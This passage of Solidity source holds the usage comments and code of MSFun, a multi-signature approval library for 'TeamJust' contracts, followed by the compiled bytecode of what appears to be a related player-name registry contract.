└──────────────────────────────────────────────────────────────────────┘ * ┌────────────────────┐ * │ Setup Instructions │ * └────────────────────┘ * (Step 1) import the library into your contract * * import "./MSFun.sol"; * * (Step 2) set up the signature data for msFun * * MSFun.Data private msData; * ┌────────────────────┐ * │ Usage Instructions │ * └────────────────────┘ * at the beginning of a function * * function functionName() * { * if (MSFun.multiSig(msData, required signatures, "functionName") == true) * { * MSFun.deleteProposal(msData, "functionName"); * * // put function body here * } * } * ┌────────────────────────────────┐ * │ Optional Wrappers For TeamJust │ * └────────────────────────────────┘ * multiSig wrapper function (cuts down on inputs, improves readability) * this wrapper is HIGHLY recommended * * function multiSig(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredSignatures(), _whatFunction));} * function multiSigDev(bytes32 _whatFunction) private returns (bool) {return(MSFun.multiSig(msData, TeamJust.requiredDevSignatures(), _whatFunction));} * * wrapper for delete proposal (makes code cleaner) * * function deleteProposal(bytes32 _whatFunction) private {MSFun.deleteProposal(msData, _whatFunction);} * ┌────────────────────────────┐ * │ Utility & Vanity Functions │ * └────────────────────────────┘ * delete any proposal is highly recommended. without it, if an admin calls a multiSig * function, with argument inputs that the other admins do not agree upon, the function * can never be executed until the undesirable arguments are approved. * * function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);} * * for viewing who has signed a proposal & proposal data * * function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32, uint256) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));} * * lets you check address of up to 3 signers (address) * * function checkSignersByAddress(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(address, address, address) {return(MSFun.checkSigner(msData, _whatFunction, _signerA), MSFun.checkSigner(msData, _whatFunction, _signerB), MSFun.checkSigner(msData, _whatFunction, _signerC));} * * same as above but will return names in string format. * * function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), TeamJust.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));} * ┌──────────────────────────┐ * │ Functions In Depth Guide │ * └──────────────────────────┘ * In the following examples, the Data is the proposal set for this library. And * the bytes32 is the name of the function. * * MSFun.multiSig(Data, uint256, bytes32) - Manages creating/updating multiSig * proposal for the function being called. The uint256 is the required * number of signatures needed before the multiSig will return true. * Upon first call, multiSig will create a proposal and store the arguments * passed with the function call as msgData. Any admins trying to sign the * function call will need to send the same argument values. Once required * number of signatures is reached this will return a bool of true. * * MSFun.deleteProposal(Data, bytes32) - once multiSig unlocks the function body, * you will want to delete the proposal data. This does that. * * MSFun.checkMsgData(Data, bytes32) - checks the message data for any given proposal * * MSFun.checkCount(Data, bytes32) - checks the number of admins that have signed * the proposal * * MSFun.checkSigners(data, bytes32, uint256) - checks the address of a given signer. * the uint256, is the log number of the signer (ie 1st signer, 2nd signer) */ library MSFun { //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // DATA SETS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // contact data setup struct Data { mapping (bytes32 => ProposalData) proposal_; } struct ProposalData { // a hash of msg.data bytes32 msgData; // number of signers uint256 count; // tracking of wither admins have signed mapping (address => bool) admin; // list of admins who have signed mapping (uint256 => address) log; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // MULTI SIG FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction) internal returns(bool) { // our proposal key will be a hash of our function name + our contracts address // by adding our contracts address to this, we prevent anyone trying to circumvent // the proposal's security via external calls. bytes32 _whatProposal = whatProposal(_whatFunction); // this is just done to make the code more readable. grabs the signature count uint256 _currentCount = self.proposal_[_whatProposal].count; // store the address of the person sending the function call. we use msg.sender // here as a layer of security. in case someone imports our contract and tries to // circumvent function arguments. still though, our contract that imports this // library and calls multisig, needs to use onlyAdmin modifiers or anyone who // calls the function will be a signer. address _whichAdmin = msg.sender; // prepare our msg data. by storing this we are able to verify that all admins // are approving the same argument input to be executed for the function. we hash // it and store in bytes32 so its size is known and comparable bytes32 _msgData = keccak256(msg.data); // check to see if this is a new execution of this proposal or not if (_currentCount == 0) { // if it is, lets record the original signers data self.proposal_[_whatProposal].msgData = _msgData; // record original senders signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) // also useful if the calling function wants to give something to a // specific signer. self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; // if we now have enough signatures to execute the function, lets // return a bool of true. we put this here in case the required signatures // is set to 1. if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } // if its not the first execution, lets make sure the msgData matches } else if (self.proposal_[_whatProposal].msgData == _msgData) { // msgData is a match // make sure admin hasnt already signed if (self.proposal_[_whatProposal].admin[_whichAdmin] == false) { // record their signature self.proposal_[_whatProposal].admin[_whichAdmin] = true; // update log (used to delete records later, and easy way to view signers) self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin; // track number of signatures self.proposal_[_whatProposal].count += 1; } // if we now have enough signatures to execute the function, lets // return a bool of true. // we put this here for a few reasons. (1) in normal operation, if // that last recorded signature got us to our required signatures. we // need to return bool of true. (2) if we have a situation where the // required number of signatures was adjusted to at or lower than our current // signature count, by putting this here, an admin who has already signed, // can call the function again to make it return a true bool. but only if // they submit the correct msg data if (self.proposal_[_whatProposal].count == _requiredSignatures) { return(true); } } } // deletes proposal signature data after successfully executing a multiSig function function deleteProposal(Data storage self, bytes32 _whatFunction) internal { //done for readability sake bytes32 _whatProposal = whatProposal(_whatFunction); address _whichAdmin; //delete the admins votes & log. i know for loops are terrible. but we have to do this //for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this. for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) { _whichAdmin = self.proposal_[_whatProposal].log[i]; delete self.proposal_[_whatProposal].admin[_whichAdmin]; delete self.proposal_[_whatProposal].log[i]; } //delete the rest of the data in the record delete self.proposal_[_whatProposal]; } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // HELPER FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ function whatProposal(bytes32 _whatFunction) private view returns(bytes32) { return(keccak256(abi.encodePacked(_whatFunction,this))); } //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // VANITY FUNCTIONS //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // returns a hashed version of msg.data sent by original signer for any given function function checkMsgData (Data storage self, bytes32 _whatFunction) internal view returns (bytes32 msg_data) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].msgData); } // returns number of signers for any given function function checkCount (Data storage self, bytes32 _whatFunction) internal view returns (uint256 signature_count) { bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].count); } // returns address of an admin who signed for any given function function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer) internal view returns (address signer) { require(_signer > 0, "MSFun checkSigner failed - 0 not allowed"); bytes32 _whatProposal = whatProposal(_whatFunction); return (self.proposal_[_whatProposal].log[_signer - 1]); } }
0x60806040526004361061017c5763ffffffff60e060020a6000350416630c6940ea81146101815780630efcf2951461019857806310f01eba146101b0578063180603eb146101e35780632614195f146101f85780632660316e1461020d57806327249e611461023c5780632e19ebdc1461025d5780633ddd4698146102755780633fda926e146102d15780634b227176146103385780634d0d35ff1461034d578063685ffd83146103815780636c52660d146103d4578063745ea0c11461042d578063768f930d1461046757806381c5b206146104b357806382e37b2c146104cb578063921dec21146104e3578063a448ed4b14610536578063a553506e14610551578063aa4d490b14610582578063b9291296146105a5578063b9eca0c8146105fe578063c0942dfd14610613578063c320c72714610632578063d52412791461064a578063dbbcaa9714610662578063de7874f314610683578063e3c08adf146106cb578063e56556a9146106e3578063ed3643d614610704575b600080fd5b34801561018d57600080fd5b50610196610743565b005b3480156101a457600080fd5b506101966004356109b1565b3480156101bc57600080fd5b506101d1600160a060020a0360043516610a88565b60408051918252519081900360200190f35b3480156101ef57600080fd5b506101d1610a9a565b34801561020457600080fd5b506101d1610aa0565b34801561021957600080fd5b50610228600435602435610aa6565b604080519115158252519081900360200190f35b34801561024857600080fd5b506101d1600160a060020a0360043516610ac6565b34801561026957600080fd5b506101d1600435610ad8565b6040805160206004803580820135601f810184900484028501840190955284845261019694369492936024939284019190819084018382808284375094975050600160a060020a03853516955050505050602001351515610aea565b3480156102dd57600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610196958335600160a060020a0316953695604494919390910191908190840183828082843750949750610c549650505050505050565b34801561034457600080fd5b506101d16111c0565b34801561035957600080fd5b506103656004356111c6565b60408051600160a060020a039092168252519081900360200190f35b6040805160206004803580820135601f81018490048402850184019095528484526101969436949293602493928401919081908401838280828437509497505084359550505050506020013515156111e4565b3480156103e057600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526102289436949293602493928401919081908401838280828437509497506113229650505050505050565b61044c600160a060020a0360043516602435604435606435151561135a565b60408051921515835260208301919091528051918290030190f35b34801561047357600080fd5b5061048860043560243560443560643561146e565b60408051600160a060020a039485168152928416602084015292168183015290519081900360600190f35b3480156104bf57600080fd5b50610196600435611572565b3480156104d757600080fd5b506101d160043561183f565b6040805160206004803580820135601f8101849004840285018401909552848452610196943694929360249392840191908190840183828082843750949750508435955050505050602001351515611854565b34801561054257600080fd5b506101d1600435602435611996565b34801561055d57600080fd5b506105696004356119b3565b6040805192835260208301919091528051918290030190f35b61044c600160a060020a0360043581169060243590604435166064351515611a9f565b3480156105b157600080fd5b506040805160206004803580820135601f8101849004840285018401909552848452610196943694929360249392840191908190840183828082843750949750611bc29650505050505050565b34801561060a57600080fd5b506101d1611cb4565b61044c600160a060020a03600435166024356044356064351515611cba565b34801561063e57600080fd5b50610196600435611dc6565b34801561065657600080fd5b50610365600435611ef0565b34801561066e57600080fd5b506101d1600160a060020a0360043516611f0b565b34801561068f57600080fd5b5061069b600435611f1d565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b3480156106d757600080fd5b506101d1600435611f4e565b3480156106ef57600080fd5b506101d1600160a060020a0360043516611f63565b34801561071057600080fd5b50610725600435602435604435606435611fa4565b60408051938452602084019290925282820152519081900360600190f35b600080808080808033803b8015610792576040805160e560020a62461bcd02815260206004820152601160248201526000805160206132b5833981519152604482015290519081900360640190fd5b336000818152600760205260409020549099509750871515610824576040805160e560020a62461bcd02815260206004820152602e60248201527f6865792074686572652062756464792c20796f7520646f6e74206576656e206860448201527f61766520616e206163636f756e74000000000000000000000000000000000000606482015290519081900360840190fd5b6000888152600960205260409020600281015460038201546001928301549199509750955093505b60055484116109a65760008481526002602052604080822054815160e060020a6349cc635d028152600481018c9052600160a060020a038d81166024830152604482018a9052606482018c9052925192909116926349cc635d9260848084019382900301818387803b1580156108c157600080fd5b505af11580156108d5573d6000803e3d6000fd5b50505050600186111561099b57600192505b85831161099b576000848152600260209081526040808320548b8452600b83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018d905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b5050600190940193506108e79050565b60019093019261084c565b505050505050505050565b6040805160e060020a630c3f64bf0281523360048201529051730d5c01a161a12901c214d2985ac1f6d7fa4644d691630c3f64bf9160248083019260209291908290030181600087803b158015610a0757600080fd5b505af1158015610a1b573d6000803e3d6000fd5b505050506040513d6020811015610a3157600080fd5b50511515600114610a7a576040805160e560020a62461bcd0281526020600482015260176024820152600080516020613275833981519152604482015290519081900360640190fd5b610a8560008261225b565b50565b60076020526000908152604090205481565b60015481565b60015490565b600a60209081526000928352604080842090915290825290205460ff1681565b60036020526000908152604090205481565b60086020526000908152604090205481565b60008080808033803b8015610b37576040805160e560020a62461bcd02815260206004820152601160248201526000805160206132b5833981519152604482015290519081900360640190fd5b600154341015610b93576040805160e560020a62461bcd02815260206004820152602660248201526000805160206132558339815191526044820152600080516020613295833981519152606482015290519081900360840190fd5b610b9c8a61230d565b9650339550610baa86612b20565b600160a060020a03808816600090815260076020526040902054919650909450891615801590610bec575085600160a060020a031689600160a060020a031614155b15610c3a57600160a060020a0389166000908152600760209081526040808320548784526009909252909120600201549093508314610c3a5760008481526009602052604090206002018390555b610c488487858a898d612ba2565b50505050505050505050565b6040805160e060020a630c3f64bf0281523360048201529051600091730d5c01a161a12901c214d2985ac1f6d7fa4644d691630c3f64bf9160248082019260209290919082900301818787803b158015610cad57600080fd5b505af1158015610cc1573d6000803e3d6000fd5b505050506040513d6020811015610cd757600080fd5b50511515600114610d20576040805160e560020a62461bcd0281526020600482015260176024820152600080516020613275833981519152604482015290519081900360640190fd5b600160a060020a03831660009081526004602052604090205415610db4576040805160e560020a62461bcd02815260206004820152602860248201527f646572702c20746861742067616d657320616c7265616479206265656e20726560448201527f6769737465726564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b610ddd7f61646447616d6500000000000000000000000000000000000000000000000000612e70565b1515600114156111bb57610e107f61646447616d6500000000000000000000000000000000000000000000000000610a7a565b600580546001019055610e228261230d565b60058054600160a060020a03808716600081815260046020818152604080842096909655600381528583208890558654835260028152858320805473ffffffffffffffffffffffffffffffffffffffff19169094179093559454815283812054600180835260099093527f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a36547f92e85d02570a8092d09a6e3a57665bc3815a2699a4074001bf1ccabf660f5a3754865160e060020a6349cc635d0281529788019490945284166024870152604486019290925260648501819052925194955016926349cc635d92608480820193929182900301818387803b158015610f2657600080fd5b505af1158015610f3a573d6000803e3d6000fd5b505060055460009081526002602081815260408084205483855260099092527f6cde3cea4b3a3fb2488b2808bae7556f4a405e50f65e1794383bc026131b13c3547f6cde3cea4b3a3fb2488b2808bae7556f4a405e50f65e1794383bc026131b13c454825160e060020a6349cc635d0281526004810195909552600160a060020a0391821660248601526044850152606484018590529051911694506349cc635d93506084808301939282900301818387803b158015610ff957600080fd5b505af115801561100d573d6000803e3d6000fd5b5050600554600090815260026020908152604080832054600380855260099093527fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e7547fc575c31fea594a6eb97c8e9d3f9caee4c16218c6ef37e923234c0fe9014a61e854835160e060020a6349cc635d0281526004810195909552600160a060020a0391821660248601526044850152606484018590529151911694506349cc635d93506084808301939282900301818387803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b5050600554600090815260026020908152604080832054600480855260099093527f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cb547f8dc18c4ccfd75f5c815b63770fa542fd953e8fef7e0e44bbdd4913470ce7e9cc54835160e060020a6349cc635d02815280860195909552600160a060020a0391821660248601526044850152606484018590529151911694506349cc635d93506084808301939282900301818387803b1580156111a257600080fd5b505af11580156111b6573d6000803e3d6000fd5b505050505b505050565b60065481565b600081815260096020526040902054600160a060020a03165b919050565b60008080808033803b8015611231576040805160e560020a62461bcd02815260206004820152601160248201526000805160206132b5833981519152604482015290519081900360640190fd5b60015434101561128d576040805160e560020a62461bcd02815260206004820152602660248201526000805160206132558339815191526044820152600080516020613295833981519152606482015290519081900360840190fd5b6112968a61230d565b96503395506112a486612b20565b600160a060020a038716600090815260076020526040902054909550935088158015906112d15750888714155b15610c3a576000898152600860209081526040808320548784526009909252909120600201549093508314610c3a576000848152600960205260409020600201839055610c488487858a898d612ba2565b60008061132e8361230d565b600081815260086020526040902054909150151561134f5760019150611354565b600091505b50919050565b336000908152600460205260408120548190819081908190151561137d57600080fd5b6001543410156113d9576040805160e560020a62461bcd02815260206004820152602660248201526000805160206132558339815191526044820152600080516020613295833981519152606482015290519081900360840190fd5b6113e289612b20565b600160a060020a038a166000908152600760205260409020549093509150861580159061140f5750868814155b15611451575060008681526008602090815260408083205484845260099092529091206002015481146114515760008281526009602052604090206002018190555b61145f828a838b878b612ba2565b91989197509095505050505050565b6040805160e060020a630c3f64bf028152336004820152905160009182918291730d5c01a161a12901c214d2985ac1f6d7fa4644d691630c3f64bf9160248082019260209290919082900301818787803b1580156114cb57600080fd5b505af11580156114df573d6000803e3d6000fd5b505050506040513d60208110156114f557600080fd5b5051151560011461153e576040805160e560020a62461bcd0281526020600482015260176024820152600080516020613275833981519152604482015290519081900360640190fd5b61154a60008888612f01565b61155660008988612f01565b61156260008a88612f01565b9250925092509450945094915050565b600080808033803b80156115be576040805160e560020a62461bcd02815260206004820152601160248201526000805160206132b5833981519152604482015290519081900360640190fd5b60055487111561163e576040805160e560020a62461bcd02815260206004820152602960248201527f73696c6c7920706c617965722c20746861742067616d6520646f65736e27742060448201527f6578697374207965740000000000000000000000000000000000000000000000606482015290519081900360840190fd5b3360008181526007602052604090205490965094508415156116d0576040805160e560020a62461bcd02815260206004820152602e60248201527f6865792074686572652062756464792c20796f7520646f6e74206576656e206860448201527f61766520616e206163636f756e74000000000000000000000000000000000000606482015290519081900360840190fd5b600085815260096020818152604080842060038101548c86526002808552838720548c88529590945260018201549390910154825160e060020a6349cc635d028152600481018c9052600160a060020a038d8116602483015260448201959095526064810191909152915190985091909216926349cc635d926084808201939182900301818387803b15801561176557600080fd5b505af1158015611779573d6000803e3d6000fd5b5050505060018411156111b657600192505b8383116111b657600087815260026020908152604080832054888452600b83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018a905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561181b57600080fd5b505af115801561182f573d6000803e3d6000fd5b50506001909401935061178b9050565b60009081526009602052604090206001015490565b600080808033803b80156118a0576040805160e560020a62461bcd02815260206004820152601160248201526000805160206132b5833981519152604482015290519081900360640190fd5b6001543410156118fc576040805160e560020a62461bcd02815260206004820152602660248201526000805160206132558339815191526044820152600080516020613295833981519152606482015290519081900360840190fd5b6119058961230d565b955033945061191385612b20565b600160a060020a0386166000908152600760205260409020549094509250871580159061195157506000838152600960205260409020600201548814155b801561195d5750828814155b1561197b576000838152600960205260409020600201889055611988565b8288141561198857600097505b6109a683868a89888c612ba2565b600b60209081526000928352604080842090915290825290205481565b6040805160e060020a630c3f64bf02815233600482015290516000918291730d5c01a161a12901c214d2985ac1f6d7fa4644d691630c3f64bf91602480830192602092919082900301818787803b158015611a0d57600080fd5b505af1158015611a21573d6000803e3d6000fd5b505050506040513d6020811015611a3757600080fd5b50511515600114611a80576040805160e560020a62461bcd0281526020600482015260176024820152600080516020613275833981519152604482015290519081900360640190fd5b611a8b600084612fbe565b611a96600085612fe2565b91509150915091565b3360009081526004602052604081205481908190819081901515611ac257600080fd5b600154341015611b1e576040805160e560020a62461bcd02815260206004820152602660248201526000805160206132558339815191526044820152600080516020613295833981519152606482015290519081900360840190fd5b611b2789612b20565b600160a060020a03808b16600090815260076020526040902054919450909250871615801590611b69575088600160a060020a031687600160a060020a031614155b156114515750600160a060020a038616600090815260076020908152604080832054848452600990925290912060020154811461145157600082815260096020526040902060020181905561145f828a838b878b612ba2565b60008033803b8015611c0c576040805160e560020a62461bcd02815260206004820152601160248201526000805160206132b5833981519152604482015290519081900360640190fd5b611c158561230d565b33600090815260076020908152604080832054808452600a835281842085855290925290912054919550935060ff161515600114611c9d576040805160e560020a62461bcd02815260206004820152601f60248201527f756d6d2e2e2e207468617473206e6f742061206e616d6520796f75206f776e00604482015290519081900360640190fd5b505060009081526009602052604090206001015550565b60055481565b3360009081526004602052604081205481908190819081901515611cdd57600080fd5b600154341015611d39576040805160e560020a62461bcd02815260206004820152602660248201526000805160206132558339815191526044820152600080516020613295833981519152606482015290519081900360840190fd5b611d4289612b20565b600160a060020a038a1660009081526007602052604090205490935091508690508015801590611d8357506000828152600960205260409020600201548114155b8015611d8f5750818114155b15611dad576000828152600960205260409020600201819055611451565b818114156114515750600061145f828a838b878b612ba2565b6040805160e060020a630c3f64bf0281523360048201529051730d5c01a161a12901c214d2985ac1f6d7fa4644d691630c3f64bf9160248083019260209291908290030181600087803b158015611e1c57600080fd5b505af1158015611e30573d6000803e3d6000fd5b505050506040513d6020811015611e4657600080fd5b50511515600114611e8f576040805160e560020a62461bcd0281526020600482015260176024820152600080516020613275833981519152604482015290519081900360640190fd5b611eb87f736574526567697374726174696f6e4665650000000000000000000000000000612e70565b151560011415610a8557611eeb7f736574526567697374726174696f6e4665650000000000000000000000000000610a7a565b600155565b600260205260009081526040902054600160a060020a031681565b60046020526000908152604090205481565b6009602052600090815260409020805460018201546002830154600390930154600160a060020a0390921692909184565b60009081526009602052604090206002015490565b336000908152600460205260408120541515611f7e57600080fd5b611f8782612b20565b5050600160a060020a031660009081526007602052604090205490565b6040805160e060020a630c3f64bf028152336004820152905160009182918291730d5c01a161a12901c214d2985ac1f6d7fa4644d691630c3f64bf9160248082019260209290919082900301818787803b15801561200157600080fd5b505af1158015612015573d6000803e3d6000fd5b505050506040513d602081101561202b57600080fd5b50511515600114612074576040805160e560020a62461bcd0281526020600482015260176024820152600080516020613275833981519152604482015290519081900360640190fd5b730d5c01a161a12901c214d2985ac1f6d7fa4644d663af1c084d61209a60008a8a612f01565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b1580156120e557600080fd5b505af11580156120f9573d6000803e3d6000fd5b505050506040513d602081101561210f57600080fd5b5051730d5c01a161a12901c214d2985ac1f6d7fa4644d663af1c084d61213760008b8a612f01565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561218257600080fd5b505af1158015612196573d6000803e3d6000fd5b505050506040513d60208110156121ac57600080fd5b5051730d5c01a161a12901c214d2985ac1f6d7fa4644d663af1c084d6121d460008c8a612f01565b6040518263ffffffff1660e060020a0281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b15801561221f57600080fd5b505af1158015612233573d6000803e3d6000fd5b505050506040513d602081101561224957600080fd5b50519199909850909650945050505050565b600080600061226984613009565b9250600090505b6000838152602086905260409020600101548110156122f257600083815260208681526040808320848452600381018084528285208054600160a060020a031680875260029093018552928520805460ff191690559385905292909152805473ffffffffffffffffffffffffffffffffffffffff191690559150600101612270565b50506000908152602092909252506040812081815560010155565b80516000908290828080602084118015906123285750600084115b15156123a4576040805160e560020a62461bcd02815260206004820152602a60248201527f737472696e67206d757374206265206265747765656e203120616e642033322060448201527f6368617261637465727300000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156123b357fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415801561241a575084600185038151811015156123f257fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515612496576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8460008151811015156124a557fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a0214156125e8578460018151811015156124df57fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a021415151561255c576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b84600181518110151561256b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a02141515156125e8576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b83821015612ab85784517f40000000000000000000000000000000000000000000000000000000000000009086908490811061262557fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015612699575084517f5b000000000000000000000000000000000000000000000000000000000000009086908490811061267a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b156127065784828151811015156126ac57fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a0285838151811015156126dd57fe5b906020010190600160f860020a031916908160001a90535082151561270157600192505b612aad565b848281518110151561271457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214806127e4575084517f60000000000000000000000000000000000000000000000000000000000000009086908490811061277057fe5b90602001015160f860020a900460f860020a02600160f860020a0319161180156127e4575084517f7b00000000000000000000000000000000000000000000000000000000000000908690849081106127c557fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b8061288e575084517f2f000000000000000000000000000000000000000000000000000000000000009086908490811061281a57fe5b90602001015160f860020a900460f860020a02600160f860020a03191611801561288e575084517f3a000000000000000000000000000000000000000000000000000000000000009086908490811061286f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b151561290a576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b848281518110151561291857fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214156129f757848260010181518110151561295457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a02141515156129f7576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b82158015612aa3575084517f300000000000000000000000000000000000000000000000000000000000000090869084908110612a3057fe5b90602001015160f860020a900460f860020a02600160f860020a0319161080612aa3575084517f390000000000000000000000000000000000000000000000000000000000000090869084908110612a8457fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b15612aad57600192505b6001909101906125ed565b600183151514612b12576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b600160a060020a0381166000908152600760205260408120541515612b9a575060068054600190810191829055600160a060020a03831660008181526007602090815260408083208690559482526009905292909220805473ffffffffffffffffffffffffffffffffffffffff19169092179091556111df565b5060006111df565b60008381526008602052604081205415612c2c576000878152600a6020908152604080832087845290915290205460ff161515600114612c2c576040805160e560020a62461bcd02815260206004820152601e60248201527f736f7272792074686174206e616d657320616c72656164792074616b656e0000604482015290519081900360640190fd5b6000878152600960209081526040808320600101879055868352600882528083208a9055898352600a825280832087845290915290205460ff161515612cbc576000878152600a602090815260408083208784528252808320805460ff191660019081179091558a845260098352818420600301805490910190819055600b835281842090845290915290208490555b7342503c3dcca420adf53dff5bb1fb176b8773aaa0600160a060020a031663d0e30db030600160a060020a0316316040518263ffffffff1660e060020a0281526004016020604051808303818588803b158015612d1857600080fd5b505af1158015612d2c573d6000803e3d6000fd5b50505050506040513d6020811015612d4357600080fd5b505060018215151415612ded575060015b6005548111612ded5760008181526002602052604080822054815160e060020a6349cc635d028152600481018b9052600160a060020a038a8116602483015260448201899052606482018a9052925192909116926349cc635d9260848084019382900301818387803b158015612dc957600080fd5b505af1158015612ddd573d6000803e3d6000fd5b505060019092019150612d549050565b600085815260096020908152604091829020805460019091015483518715158152928301899052600160a060020a039182168385015260608301523460808301524260a0830152915186928916918a917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e644429181900360c00190a450505050505050565b6000612efb6000730d5c01a161a12901c214d2985ac1f6d7fa4644d6600160a060020a031663fcf2f85f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b158015612ec957600080fd5b505af1158015612edd573d6000803e3d6000fd5b505050506040513d6020811015612ef357600080fd5b50518461309d565b92915050565b600080808311612f81576040805160e560020a62461bcd02815260206004820152602860248201527f4d5346756e20636865636b5369676e6572206661696c6564202d2030206e6f7460448201527f20616c6c6f776564000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b612f8a84613009565b60008181526020878152604080832060001988018452600301909152902054600160a060020a031692509050509392505050565b600080612fca83613009565b60009081526020949094525050604090912054919050565b600080612fee83613009565b60009081526020949094525050604090912060010154919050565b6040805160208082018490526c01000000000000000000000000300282840152825160348184030181526054909201928390528151600093918291908401908083835b6020831061306b5780518252601f19909201916020918201910161304c565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050565b60008060008060006130ae86613009565b600081815260208a905260408082206001015490519296509450339350903690808383808284376040519201829003909120945050508415159150613178905057600084815260208981526040808320848155600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a90529081018054909101908190558714156131735760019450613249565b613249565b60008481526020899052604090205481141561324957600084815260208981526040808320600160a060020a038616845260020190915290205460ff16151561322b57600084815260208981526040808320600160a060020a038616808552600282018452828520805460ff19166001908117909155888652600383018552928520805473ffffffffffffffffffffffffffffffffffffffff1916909117905592879052908a9052908101805490910190555b60008481526020899052604090206001015487141561324957600194505b5050505093925050505600756d6d2e2e2e2e2e2020796f75206861766520746f2070617920746865206e616d73672073656e646572206973206e6f742061206465760000000000000000006d65206665650000000000000000000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a72305820529c211dcb73261d318d763ef09e693c4f